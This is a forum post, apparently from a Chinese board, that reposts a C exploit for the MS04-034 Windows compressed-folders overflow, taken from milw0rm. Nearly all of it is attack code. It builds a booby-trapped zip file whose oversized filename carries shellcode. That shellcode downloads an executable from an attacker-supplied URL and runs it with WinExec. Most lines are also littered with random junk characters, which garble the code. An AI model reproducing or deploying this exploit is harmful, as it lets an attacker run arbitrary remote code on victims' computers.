- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)0 G! k% A# z( Q$ Z+ V% T: v4 f1 d
*
D% F6 J2 s7 P. z' R. C- w6 F* Tested under Windows XP SP0 Spanish/English: B/ H8 f, s1 I% @# K' o
*
# @* P4 p! u8 K( D- W U/ @* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
' O! l5 Y% x3 r2 Z9 Q: H4 F( n* Exploit Date: 21/10/2004+ }8 L4 ^$ N/ g9 }
*
6 V! O4 u3 V# T/ ]! P* Tarako - Haxorcitos.com 2004
0 c, o$ y1 n$ [1 O6 ]: k*
4 p$ u% _. H9 b* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"7 Z* ^/ }2 m1 D' B( c
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* m# B' U" V9 E4 j8 R* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
Y/ Q; q; J. M! x$ j*
* v" ~4 c3 v' e: A* Greetings t #haxorcitos, #dsr and #localhost @efnet2 g# j% V/ f# I& \0 N
*3 x: c: H2 ]+ R" n
*
, U; F+ A. s5 m+ [+ |# b8 T* How to get new offsets:
& B# z8 w% O: f; A( H5 K* 1) attach debugger (i.e ollydbg) to explorer.exe
- N: u# v% u. A$ ]) Z6 T: Y1 H* 2) open the zip file as a folder and add or move some files to it
( W0 I+ j; s4 |4 O$ c6 W& c* 3) search in the explorer.exe memory the shellcode and get the addresses
( R! s$ S' R" D% S" P" D*
+ a8 \0 \' G [7 @3 r*/
+ W& k1 ?* | ]5 d
1 I! e: c& u5 {/ x#include <stdio.h>. B' Z7 F1 D0 v8 k3 B# J! s
#include <windows.h>% m4 }1 s! c3 j/ X% g8 J
& B( L# O# m4 U. n
#pragma pack(1)
8 I! ^% T& ^4 e. g/ U5 }, L! z! Q: g9 P( g% B7 K5 g$ l
#define DATOS "Tarako-Haxorcitos.com"& L% P2 A9 O4 g7 r$ U
6 H9 o) V' B' Gtypedef struct {
$ j8 i; O2 C& YDWORD Signature; // PK.. 4 bytes (0x04034B50)
. W, J! }9 m1 I. f/ wWORD VersionNeeded;9 M/ N* \, c( Q% U4 `5 p! f7 [
WORD GeneralPurposeFlag; // para el data descriptor y demas
/ |( H5 b% j; O9 c6 ?% e$ @WORD CompressionMethod;: n2 I6 s& Q- s
WORD ModFileTime;& \! ^, F9 k2 G: K' f
WORD ModFileDate;8 z& S1 E- ^6 b# Q% O4 M6 U
DWORD Crc32;
# C n4 e( P9 P( u# @7 }" F- ADWORD CompressedSize;$ Q. A+ o/ U, g, l, \" p" |+ e
DWORD UncompressedSize;
6 h8 e1 a( s% E. s, a5 zWORD FilenameLength;. K# u( A. J2 }& l
WORD ExtraFieldLength;
! S5 R1 n$ ^# t8 N- O// filename (variable size); _0 g4 U4 p1 D: d& O% k
// extra field (variable size)% T2 t8 U. `+ j2 x- s
}TOPHEADER;
$ L: v/ l) y+ K) Y# a
3 Y' n M g+ J' z% C$ V! f" Q O7 I2 D
typedef struct { * o2 p# {( K X! _6 k4 ^
DWORD Signature; // PK.. 4 bytes (0x02014B50)5 R( T E5 c' G* H. ?
WORD MadeVersion;7 `( W3 T, b) z+ \- Z, J
WORD VersionNeeded;8 d' q9 L" S, z: Q) ]0 R$ @/ R
WORD GeneralPurposeFlag; // para el data descriptor y demas
" @6 }/ y/ o7 k9 Z$ M$ B3 [+ [+ zWORD CompressionMethod;
5 e# q2 R# s- K$ @: t. S* J; a6 N& oWORD ModFileTime;7 `! Q7 ]" R1 B1 w7 G, c
WORD ModFileDate;+ {+ [% ]+ \1 w0 D, x/ J! K! ^
DWORD Crc32;! z$ [( P8 }3 t- W
DWORD CompressedSize;
) y& {9 M) Z" HDWORD UncompressedSize;1 b g5 u p8 f9 ^2 y. D" ?
WORD FilenameLength;
& J" c: ^- j) @6 \9 C. G, a! {5 BWORD ExtraFieldLength;
8 I* P& \% Y/ m& sWORD FileCommentLength;
7 j9 N& f; q# mWORD DiskNumberStart;' K0 v$ r5 D! \, K v, }
WORD InternalFileAttributes;: {- g o9 X' N {
DWORD ExternalFileAttributes;
`0 Z. A# N6 L8 a, m+ Z; YDWORD RelativeOffsetOfLocalHeader;
* N$ @2 }: S# W9 c// filename (variable size)
) J/ L& @: @% ^: M7 J// extra field (variable size)
4 V! G: h4 C* |/ u1 ?9 U// file comment (variable size)
' S, k1 a! g+ h* }}MIDDLEHEADER;% p7 {3 O) g4 @) a
# O. W# q, h3 z! T ]typedef struct {
8 r8 Z+ v" v! z/ p, o7 _DWORD Signature; // PK.. 4 bytes (0x06054B50)
) B6 E6 J9 k; K$ y2 O* b7 M, gWORD NumOfThisDisk;
9 U r" ^5 k8 Y, \* j4 I8 z4 A/ iWORD NumDisckStartCentralDirectory;& e- ^! b* }8 D$ I7 i F
WORD NumEntriesCentralDirOnThisDisk;
7 D1 h' _: T7 e$ \. f9 hWORD TotalNumEntriesCentralDir;
6 j; n- F9 S& k1 }' `, N" J+ lDWORD SizeCentralDirectory;
; J+ `3 h/ d* u$ a/ |4 cDWORD OffsetCentraDirRespectStartDiskNum;
7 T/ C0 e0 C5 n% |WORD ZipCommentLength;
& m' k/ D2 G9 |+ B# ~, Y/ ?3 W// zipfile comment (variable size)/ _; R$ ?$ l% K
}BOTTOMHEADER;' ~/ F: }: d2 @: k% a
! K) z, Y& G) e/*
. W7 c% M) E( [6 M& z% v, T& K$ b7 o* download shellcode - RaiSe - raise@netsearch-ezine.com
9 a: K" b- ~/ F' R' P*/
, j8 r( h0 _1 G3 U& C: a. hchar shellcode1[] =
: k; N' X6 X$ f"\xEB\x5D\x5F\x8B\xF7\x80\x3F"5 w! ]+ o) u, ?* y
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"& n* ? e/ v) l, p& L
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
: ] S4 O T' p |/ j' B% U$ P+ g"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
& X) q( m8 _2 K n7 l t0 C"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
! q9 A) f& R5 }7 W- w6 R"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74") A& g6 ~ I- W1 f# G, B! S
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
3 d/ s" S2 x ~"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
6 h# B, w9 n& P! @8 z% Y"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"1 R4 j( g; Y- H" D, e
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
7 ~9 ]! q& U; }"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"" p% V7 ~- z) q0 D7 `; N: R
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"& N! T0 ?& A$ V8 t' s* H6 |
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
9 }. }) o: o# H e"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
2 b$ B# r7 T+ S, S" c$ x$ T5 j"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
' @" g" v7 L T& r0 W" {+ N" o"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
% I3 @8 i. V: N2 K"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"# o" x$ T; ^2 O5 x F% [% k& o
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
6 ]: u k% P9 Q; _' P- S"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"6 c8 F0 S, f# A1 w" t' q) s3 B
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
5 z+ c) r( W; G# F$ }' Q0 d5 m"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
5 \, X9 S% F& j q7 T"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"9 y/ @& ^7 R; M2 C1 O M; v0 c" k& O9 F
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"+ T( I. W) o! j4 n% J
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"6 b2 V) o7 d' I+ M W& |- K8 \! z: T
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
& V" f( m9 x- w$ u: w2 p"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"! n5 e4 M6 ?3 f8 N/ Y3 V
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
; J0 f3 l" u* b0 A+ Y"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
! ]1 G. l4 u- C$ U& J; t. F"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
4 V& v9 n( X- H( B# c! L"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"5 r* D" v( W8 p8 H9 s) O6 t
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"* R7 M, f. p' F: S
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
3 b8 K* ?9 P, M$ n0 ]! b& [6 R! ~"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
" Q$ P( A; o5 x# V/ @"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"5 f- p; b/ T8 ^' Z
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
( N+ F3 d* ~9 h0 C' o# y3 l Tchar shellcode2[] ="\x08\x01";
% c+ Q4 G: @# P% {, J5 m f
( p9 ]6 e8 y9 ^7 d' Mchar offset[]="\x41\x41\x41\x41";
. i, F' P1 |5 L; Ichar jmpbelow[]= "\xeb\x06\x90\x90";
8 K% H' K: i2 l5 I5 ~ Z' Z
# n* h' k. e+ f6 } w2 hint main(int argc,char *argv[]) {, }# t+ @5 A3 u7 B: p$ N
/ G) }8 |1 l* L
FILE *ZipFile;
) a0 a, ^ P0 L- h$ u1 v, }! ?TOPHEADER *Cabecera1;! m$ v* `) v: \( ?: X9 g. y- g
MIDDLEHEADER *Cabecera2;7 f$ R6 F' G+ G- }
BOTTOMHEADER *Cabecera3;* R5 W4 P3 |4 H
9 e2 T/ n) H7 |% Z. b6 N
DWORD c;
+ W1 M: h3 p2 z+ c& h, M8 ^. {UINT i;
# r+ @' |2 S6 A0 n0 jchar *filename;
# I/ r; R6 u0 b7 Echar *url;
, {3 j) j7 `: H i {( z$ P- W" A) P f1 V0 `
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
3 D% j' K1 t1 ]$ B4 {/ s6 M+ \printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
9 ?, V& j5 c7 b8 p* C7 ^4 [5 e4 f
( t i! d6 l5 }% T& Lif (argc!=2) {; l5 @1 @. V& O2 K8 P! B5 ]* t
printf("\n\n Usage: %s <URL> \n",argv[0]);
: A' r6 N/ X8 Nexit(1);
% p5 @5 ^. X, f" V9 v; |}* o! F& N$ w r; m& P& d
" g9 Z3 p- J& U d6 p' c
url=argv[1];
& J6 C3 ~) N s1 i+ m7 _+ Hprintf("\n * URL: %s",url);
. W2 O* }# z# ?# g& {- u w* E
1 i5 I- Y4 c/ y! ~- Z9 U% a/ j) E2 C- L: m
if (!(ZipFile=fopen("prueba.zip","w+b"))) {4 p$ b& ^6 V% B1 q
printf("\n [E] fopen()");
+ Y& d' t& f2 K9 Wexit(1);9 B1 w2 e- W3 A( y% f3 L
}1 ]+ j X- d- R8 d
$ z6 ]+ S4 G1 y- R' Q/ H& i
c=0x8000; // filename length
, W* ^- W+ v( X" zfilename=(char*)malloc(sizeof(char)*c);
7 s0 K" i. M1 y, H d( p; @+ imemset(filename,0,sizeof(filename));: W4 n: I* N# s. w1 R6 b
. ~( I0 T/ j0 b; G( T% l* s2 q& W
for( i=0x0;i<c;i++) filename=(BYTE)0x90; X) R. J/ w# T
2 f+ {% L; w. b" b- l
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));; w* T$ s0 J- i) M0 c' e% u# Z2 \9 s" u
memcpy(filename+0x1818,offset,strlen(offset));; R' Y0 {6 o% ?- ?" o0 W3 Q
, J4 ]5 P; e- c9 @8 umemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);! s6 c& N- A( R& i( e. ^: S' i6 A
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));; ?3 f4 O+ b/ Q! N. I' j! J$ n
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
$ d2 b; P/ T, W7 _2 S( G2 d, o6 U
: |$ K; r; C) s) O7 Q; T: S- Cmemcpy(filename+(c-4),".txt",4);
" f; [ n* D, P9 }' B1 G
1 g+ X; F! g7 s) S; ^: d8 ZCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));( z3 w }. F4 v$ i. `" w9 h0 \1 B# a
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
% a- l7 J( l a- b/ z) lCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));$ C& K/ ?, I# G" Q
memset(Cabecera1,0,sizeof(TOPHEADER));
7 e( k! z' r& A7 l" o5 m2 ^8 cmemset(Cabecera2,0,sizeof(MIDDLEHEADER));
1 t# n2 d3 R' c* _memset(Cabecera3,0,sizeof(BOTTOMHEADER)); x. c0 b1 F4 l. k
- f# N' u7 w X2 @) w8 ?+ s///////////////////////////////////////////////////////////////////
9 f6 U; U8 w5 F4 b6 e p// TOPHEADER9 l9 [ U# |# @3 ^" p1 d
///////////////////////////////////////////////////////////////////% o2 j( d! t9 ?) `2 z$ l
Cabecera1->Signature=0x04034B50; // DWORD0 F% D2 g7 i5 A) {9 ] \! {
Cabecera1->VersionNeeded=0x000A; // WORD2 _6 a9 u+ r6 e; `0 W
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas; l& Q- P# u# G* l
Cabecera1->CompressionMethod=0x0000; // WORD
0 L, i6 \- p" O" QCabecera1->ModFileTime=0x1362; // WORD
/ w8 w# C* o; K \Cabecera1->ModFileDate=0x3154; // WORD: v6 x0 Z8 v) S' J+ n- a
Cabecera1->Crc32=0x85B36639; // DWORD
6 O: u/ E# U! E1 C7 GCabecera1->CompressedSize=0x00000015; // DWORD
( S1 F- e4 p9 q# t. uCabecera1->UncompressedSize=0x00000015; // DWORD7 _5 K* m; v3 d; D, m& S
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);1 v7 P1 R6 \# O1 v+ P
Cabecera1->ExtraFieldLength=0x0000; // WORD K& D9 O$ z8 z5 W3 C2 B
///////////////////////////////////////////////////////////////////1 Z7 b5 M3 x4 n) l
; k% s7 J8 Q$ S///////////////////////////////////////////////////////////////////
% ~& s p* q( s// MIDDLEHEADER
5 E7 v2 Q9 j6 J///////////////////////////////////////////////////////////////////
& V' R( L% h6 \- k, Z3 gCabecera2->Signature=0x02014B50; // DWORD
, r9 A i, u! x. _! TCabecera2->MadeVersion=0x0014; // WORD; ~2 A* |5 K# N. g( h. R
Cabecera2->VersionNeeded=0x000A; // WORD7 a1 e8 P' v2 _$ O" D* N
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
9 r" u4 o% b" @1 _5 f# \# sCabecera2->CompressionMethod=0x0000; // WORD
2 D2 [8 E8 C$ k/ M PCabecera2->ModFileTime=0x1362; // WORD
4 G+ S/ ~+ F, f# f5 }: TCabecera2->ModFileDate=0x3154; // WORD% L- T6 U) T1 y" ^5 ^% O# X
Cabecera2->Crc32=0x85B36639; // DWORD2 N" l/ {* A" D9 w) y2 E
Cabecera2->CompressedSize=0x00000015; // DWORD
" I7 A: I; L( O% l3 G8 GCabecera2->UncompressedSize=0x00000015; // DWORD) j" B8 H5 i% |$ p# L3 ]! A5 w, y6 Y
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
9 q$ f# m2 X" v& yCabecera2->ExtraFieldLength=0x0000; // WORD [, S S8 L5 [! ~! e$ A
Cabecera2->FileCommentLength=0x0000; // WORD6 e4 D3 o9 a4 w+ ^( C
Cabecera2->DiskNumberStart=0x0000; // WORD
0 u! m& }) a, GCabecera2->InternalFileAttributes=0x0001; // WORD& ?8 E! v. z7 U9 u9 W2 k; s# i, d
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
1 J3 [! w: ]) S& @; E$ tCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD6 c, I. b3 [! H5 i- f
///////////////////////////////////////////////////////////////////5 L4 S9 Y4 v; v5 W; d. _
' h, i; D) b+ ]. k, _///////////////////////////////////////////////////////////////////
; }! G& @# R" }) @// BOTTOMHEADER
0 `4 N- S* S- z+ Y$ \7 a1 r- q& U///////////////////////////////////////////////////////////////////
! r+ r; R' T4 {/ DCabecera3->Signature=0x06054B50; // DWORD' j3 r. E) [8 @, K2 m! A
Cabecera3->NumOfThisDisk=0x0000; // WORD
* l; Q% B( g& `' {) m- K% ~Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD+ p6 O' j3 w+ d6 S3 J
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
/ h$ q$ v2 U+ W: _0 c kCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
3 `5 V/ `* A" T2 v8 C; eCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
1 G" O6 ~. ?& C# Q0 iCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD & X6 e% z* X: Z' G# N1 d6 [
Cabecera3->ZipCommentLength=0x0000; // WORD
& d9 Y9 x, z5 o2 g; m///////////////////////////////////////////////////////////////////
) Z& \' ^: U& c! O L5 B0 w3 |2 c% ]9 f1 Y/ V" c
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
* S% m* L& F, ?. f b" @6 j0 o/ O! L8 l/ ~8 x! I. p
fwrite(filename, c, 1,ZipFile); ) ?) L( ^% R: M* K4 X7 ]' G
fwrite(DATOS,strlen(DATOS),1,ZipFile);
9 n$ F. b: L3 C5 ^: Z# H+ E0 e8 l& D% v/ X
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
5 k5 ~# q5 u! D% Ufwrite(filename, c, 1,ZipFile); 8 G6 P. Y- n; B i* }) ^4 a' Y7 ^$ h
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
- B, h S3 ~, V7 D+ N8 d6 h8 M/ j$ w- n7 {
fclose(ZipFile);
: @: m1 |9 P7 r( y( G2 v4 Oprintf("\n * prueba.zip created\n");
( h( T3 q& ~' x% P6 z5 `return 1;& s( y! @6 X' h9 t, {( F
}//downloaded from milw0rm.com
! y) g: A7 J0 T( }) c6 F% ?0 t |
zan
|